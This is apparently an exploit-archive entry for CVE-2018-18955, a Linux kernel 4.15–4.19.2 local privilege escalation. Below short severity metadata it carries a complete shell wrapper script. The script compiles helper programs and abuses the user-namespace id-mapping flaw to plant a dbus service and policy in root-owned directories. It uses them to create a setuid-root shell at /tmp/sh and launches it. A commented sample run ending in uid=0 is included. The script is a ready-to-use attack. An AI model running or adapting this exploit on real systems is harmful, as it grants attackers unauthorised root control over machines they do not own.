Linux Kernel 4.15.x < 4.19.2 map_write() CAP_SYS_ADMIN Local Privilege Escalation (dbus Method)

2019.08.01
Credit: root
Risk: Medium
Local: Yes
Remote: No
CWE: CWE-264


CVSS Base Score: 4.4/10
Impact Subscore: 6.4/10
Exploitability Subscore: 3.4/10
Exploit range: Local
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

#!/bin/sh # # # wrapper for Jann Horn's exploit for CVE-2018-18955 # uses dbus service technique # --- # test@linux-mint-19-2:~/kernel-exploits/CVE-2018-18955$ ./exploit.dbus.sh # [*] Compiling... # [*] Creating /usr/share/dbus-1/system-services/org.subuid.Service.service... # [.] starting # [.] setting up namespace # [~] done, namespace sandbox set up # [.] mapping subordinate ids # [.] subuid: 165536 # [.] subgid: 165536 # [~] done, mapped subordinate ids # [.] executing subshell # [*] Creating /etc/dbus-1/system.d/org.subuid.Service.conf... # [.] starting # [.] setting up namespace # [~] done, namespace sandbox set up # [.] mapping subordinate ids # [.] subuid: 165536 # [.] subgid: 165536 # [~] done, mapped subordinate ids # [.] executing subshell # [*] Launching dbus service... # Error org.freedesktop.DBus.Error.NoReply: Did not receive a reply. Possible causes include: the remote application did not send a reply, the message bus security policy blocked the reply, the reply timeout expired, or the network connection was broken. # [+] Success: # -rwsrwxr-x 1 root root 8384 Jan 4 18:31 /tmp/sh # [*] Cleaning up... # [*] Launching root shell: /tmp/sh # root@linux-mint-19-2:~/kernel-exploits/CVE-2018-18955# id # uid=0(root) gid=0(root) groups=0(root),1001(test) rootshell="/tmp/sh" service="org.subuid.Service" command_exists() { command -v "${1}" >/dev/null 2>/dev/null } if ! command_exists gcc; then echo '[-] gcc is not installed' exit 1 fi if ! command_exists /usr/bin/dbus-send; then echo '[-] dbus-send is not installed' exit 1 fi if ! command_exists /usr/bin/newuidmap; then echo '[-] newuidmap is not installed' exit 1 fi if ! command_exists /usr/bin/newgidmap; then echo '[-] newgidmap is not installed' exit 1 fi if ! test -w .; then echo '[-] working directory is not writable' exit 1 fi echo "[*] Compiling..." if ! gcc subuid_shell.c -o subuid_shell; then echo 'Compiling subuid_shell.c failed' exit 1 fi if ! gcc subshell.c -o subshell; then echo 'Compiling gcc_subshell.c failed' exit 1 fi if ! gcc rootshell.c -o "${rootshell}"; then echo 'Compiling rootshell.c failed' exit 1 fi echo "[*] Creating /usr/share/dbus-1/system-services/${service}.service..." cat << EOF > "${service}.service" [D-BUS Service] Name=${service} Exec=/bin/sh -c "/bin/chown root:root ${rootshell};/bin/chmod u+s ${rootshell}" User=root EOF echo "cp ${service}.service /usr/share/dbus-1/system-services/${service}.service" | ./subuid_shell ./subshell if ! test -r "/usr/share/dbus-1/system-services/${service}.service"; then echo '[-] Failed' /bin/rm "${rootshell}" exit 1 fi echo "[*] Creating /etc/dbus-1/system.d/${service}.conf..." cat << EOF > "${service}.conf" <!DOCTYPE busconfig PUBLIC "-//freedesktop//DTD D-BUS Bus Configuration 1.0//EN" "http://www.freedesktop.org/standards/dbus/1.0/busconfig.dtd"> <busconfig> <policy context="default"> <allow send_destination="${service}"/> </policy> </busconfig> EOF echo "cp ${service}.conf /etc/dbus-1/system.d/${service}.conf" | ./subuid_shell ./subshell if ! test -r "/etc/dbus-1/system.d/${service}.conf"; then echo '[-] Failed' /bin/rm "${rootshell}" exit 1 fi echo "[*] Launching dbus service..." /usr/bin/dbus-send --system --print-reply --dest="${service}" --type=method_call --reply-timeout=1 / "${service}" sleep 1 if ! test -u "${rootshell}"; then echo '[-] Failed' /bin/rm "${rootshell}" exit 1 fi echo '[+] Success:' /bin/ls -la "${rootshell}" echo '[*] Cleaning up...' /bin/rm subuid_shell /bin/rm subshell /bin/rm "${service}.conf" /bin/rm "${service}.service" echo "/bin/rm /usr/share/dbus-1/system-services/${service}.service" | $rootshell echo "/bin/rm /etc/dbus-1/system.d/${service}.conf" | $rootshell echo "[*] Launching root shell: ${rootshell}" $rootshell


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